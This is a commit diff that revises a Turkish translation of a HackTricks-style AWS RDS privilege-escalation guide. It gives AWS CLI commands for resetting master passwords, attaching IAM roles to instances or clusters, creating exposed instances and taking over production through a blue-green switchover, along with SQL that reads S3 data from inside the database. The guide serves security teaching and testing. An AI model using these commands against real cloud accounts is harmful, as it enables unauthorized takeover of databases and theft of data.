Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-13 13:29:31 +00:00
parent 3c55f68709
commit 4d3b4a7bc0
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
## RDS - İlişkisel Veritabanı Servisi
## RDS - Relational Database Service
RDS hakkında daha fazla bilgi için bakınız:
@@ -12,7 +12,7 @@ RDS hakkında daha fazla bilgi için bakınız:
### `rds:ModifyDBInstance`
Bu izinle bir saldırgan **master kullanıcının parolasını değiştirebilir**, ve veritabanı içindeki login bilgisini değiştirebilir:
Bu izinle bir saldırgan **master kullanıcının parolasını değiştirebilir**, ve veritabanı içindeki giriş bilgilerini değiştirebilir:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Veritabanına **bağlanabilmeniz** gerekecek (genellikle yalnızca ağ içinden erişilebilirler).
> Veritabanıyla **iletişim kurabiliyor** olmanız gerekecek (genellikle yalnızca iç ağlardan erişilebilirler).
**Olası Etki:** Veritabanları içinde hassas bilgilerin bulunması.
**Olası Etki:** Veritabanları içinde hassas bilgiler bulunması.
### rds-db:connect
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) bu izne sahip bir kullanıcı DB örneğine bağlanabilir.
[**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)'e göre, bu izne sahip bir kullanıcı DB instance'a bağlanabilir.
### Abuse RDS Role IAM permissions
#### Postgresql (Aurora)
> [!TIP]
> Eğer **`SELECT datname FROM pg_database;`** çalıştırdığınızda **`rdsadmin`** adlı bir veritabanı bulursanız, AWS postgresql veritabanının içinde olduğunuzu anlarsınız.
> Eğer **`SELECT datname FROM pg_database;`** çalıştırdığınızda **`rdsadmin`** adlı bir veritabanı bulursanız, içinde bulunduğunuzun bir **AWS postgresql veritabanı** olduğunu anlarsınız.
İlk olarak bu veritabanının herhangi bir diğer AWS hizmetine erişmek için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu kurulu eklentilere bakarak kontrol edebilirsiniz:
Öncelikle bu veritabanının başka herhangi bir AWS servisine erişmek için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu, yüklü uzantılara bakarak kontrol edebilirsiniz:
```sql
SELECT * FROM pg_extension;
```
Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişimi** olduğu varsayılabilir (başka eklentiler de vardır, örn. **`aws_ml`** ve **`aws_lambda`**).
Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının S3 üzerinde **bir tür erişime** sahip olduğunu varsayabilirsiniz (benzer diğer uzantılar **`aws_ml`** ve **`aws_lambda`** gibi vardır).
Ayrıca, eğer **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, orada **`AssociatedRoles`** alanında **cluster'ın herhangi bir IAM Role'a bağlı olup olmadığını** görebilirsiniz. Eğer bağlıysa, veritabanının **diğer AWS servislerine erişecek şekilde hazırlandığını** varsayabilirsiniz. Rolün **adına** göre (veya rolün **izinlerini** elde edebilirseniz) veritabanının hangi ek erişimlere sahip olduğunu **tahmin edebilirsiniz**.
Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, orada **cluster'ın herhangi bir IAM Role bağlı olup olmadığını** **`AssociatedRoles`** alanında görebilirsiniz. Eğer bağlıysa, veritabanının diğer AWS servislerine **erişim sağlamak üzere hazırlanmış olduğunu** varsayabilirsiniz. Role'ün **adına** göre (veya role'ün **izinlerini** elde edebilirseniz) veritabanının hangi ek erişimlere sahip olduğunu **tahmin edebilirsiniz**.
Şimdi, bir bucket içindeki bir dosyayı okumak için tam yolu bilmeniz gerekir. Şunu kullanarak okuyabilirsiniz:
Şimdi, bir bucket içindeki bir dosyayı **okumak için** tam yolu bilmeniz gerekir. Şunu kullanarak okuyabilirsiniz:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
Eğer **raw AWS credentials**'e sahip olsaydınız, onları S3 verilerine erişmek için şu şekilde kullanabilirsiniz:
Eğer elinizde **raw AWS credentials** olsaydı, S3 verilerine şu şekilde de erişmek için kullanabilirdiniz:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **S3'e erişebilmek için herhangi bir parameter group variable değiştirmesine gerek yoktur.**
> Postgresql **S3'e erişebilmek için herhangi bir parameter group değişkenini değiştirmeye ihtiyaç duymaz**.
#### Mysql (Aurora)
> [!TIP]
> Bir mysql içinde, **`SELECT User, Host FROM mysql.user;`** sorgusunu çalıştırırsanız ve **`rdsadmin`** adlı bir kullanıcı varsa, içinde bulunduğunuzun **AWS RDS mysql db** olduğunu varsayabilirsiniz.
> Bir mysql içinde, eğer **`SELECT User, Host FROM mysql.user;`** sorgusunu çalıştırırsanız ve **`rdsadmin`** adlı bir kullanıcı varsa, içinde bulunduğunuzun **AWS RDS mysql db** olduğunu varsayabilirsiniz.
mysql içinde **`show variables;`** çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz.
Mysql içinde **`show variables;`** çalıştırın ve eğer **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanının S3 verisine erişime hazır olduğunu varsayabilirsiniz.
Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, cluster'ın herhangi bir **ilişkili role**'ü olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir).
Ayrıca, eğer **`aws rds describe-db-clusters`** çalıştırma izniniz varsa, cluster'ın herhangi bir **associated role**'ü olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir).
Şimdi, **bir bucket içindeki bir dosyayı okumak** için tam yolu bilmeniz gerekir. Şu komutla okuyabilirsiniz:
Şimdi, bir bucket içindeki bir dosyayı okumak için tam yolu bilmeniz gerekir. Şu şekilde okuyabilirsiniz:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, mevcut bir RDS instance'ına belirtilen bir rolü ekleyebilir. Bu, saldırganın **hassas verilere erişmesine** veya örnek içindeki verileri değiştirmesine izin verebilir.
`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS instance'ına belirtilen bir rolü ekleyebilir**. Bu, saldırgana **hassas verilere erişim** sağlayabilir veya instance içindeki verileri değiştirmesine olanak tanıyabilir.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Potansiyel Etki**: RDS instance'ındaki hassas verilere erişim veya verilere yetkisiz değişiklikler.\
Bazı DB'lerin Mysql gibi ek yapılandırmalar gerektirdiğini unutmayın; örneğin Mysql, role ARN'nin parameter groups içinde de belirtilmesi gerekir.
**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.\
Bazı veritabanlarının Mysql gibi ek yapılandırmalar gerektirdiğini unutmayın; Mysql için role ARN'in parametre gruplarında da belirtilmesi gerekir.
### `rds:CreateDBInstance`
Sadece bu izinle bir saldırgan, zaten var olan ve bir **IAM role** bağlı bir **cluster içinde yeni bir instance** oluşturabilir. Master kullanıcı parolasını değiştiremeyecek, ancak yeni veritabanı instance'ını internete açabilir:
Sadece bu izinle bir saldırgan, zaten var olan ve bir **IAM role** iliştirilmiş bir cluster içinde **yeni bir instance** oluşturabilir. Master kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağı olabilir:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> YAPILACAK: Test
Bir saldırgan `rds:CreateDBInstance` ve `iam:PassRole` izinlerine sahipse **belirtilen bir rol iliştirilmiş yeni bir RDS instance'ı oluşturabilir**. Saldırgan daha sonra potansiyel olarak **hassas verilere erişebilir** veya instance içindeki verileri değiştirebilir.
Bir saldırgan, `rds:CreateDBInstance` ve `iam:PassRole` izinlerine sahip olduğunda **belirtilen role bağlı yeni bir RDS instance oluşturabilir**. Saldırgan daha sonra potansiyel olarak **hassas verilere erişebilir** veya instance içindeki verileri değiştirebilir.
> [!WARNING]
> Eklenecek role/instance-profile için bazı gereksinimler (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - Profil hesabınızda mevcut olmalıdır.
> - Profil, Amazon EC2'nin üstlenme iznine sahip bir IAM role sahip olmalıdır.
> - Instance profile adı ve ilişkili IAM rol adı `AWSRDSCustom` öneki ile başlamalıdır.
> - The profile must exist in your account.
> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Potential Impact**: RDS instance içindeki hassas verilere erişim veya verilerde yetkisiz değişiklikler.
**Potansiyel Etki**: RDS instance içindeki hassas verilere erişim veya veriler üzerinde yetkisiz değişiklikler.
### `rds:AddRoleToDBInstance`, `iam:PassRole`
`rds:AddRoleToDBInstance` ve `iam:PassRole` izinlerine sahip bir saldırgan, **var olan bir RDS instance'a belirtilen bir role ekleyebilir**. Bu, saldırganın **hassas verilere erişmesine** veya RDS instance içindeki verileri değiştirmesine olanak sağlayabilir.
İzinlere `rds:AddRoleToDBInstance` ve `iam:PassRole` sahip bir saldırgan, **mevcut bir RDS instance'a belirtilen bir rol ekleyebilir**. Bu, saldırganın **hassas verilere erişmesine** veya instance içindeki verileri değiştirmesine olanak sağlayabilir.
> [!WARNING]
> Bu işlem için DB instance bir cluster'ın dışında olmalıdır
> Bu işlem için DB instance'ın bir cluster dışında olması gerekir
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Olası Etki**: RDS instance içindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.
**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
Bu izinlere sahip bir saldırgan, üretim veritabanını (Blue) klonlayabilir, klona yüksek ayrıcalıklı bir IAM rolü ekleyebilir (Green) ve ardından switchover'ü kullanarak üretim ortamının yerini alabilir. Bu, saldırganın veritabanının ayrıcalıklarını yükseltmesine ve diğer AWS kaynaklarına yetkisiz erişim elde etmesine olanak tanır.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Potential Impact**: Üretim veritabanı ortamının tam ele geçirilmesi. Geçişten sonra veritabanı yükseltilmiş ayrıcalıklarla çalışır ve veritabanı içinden diğer AWS hizmetlerine (örn. S3, Lambda, Secrets Manager) yetkisiz erişime izin verir.
{{#include ../../../../banners/hacktricks-training.md}}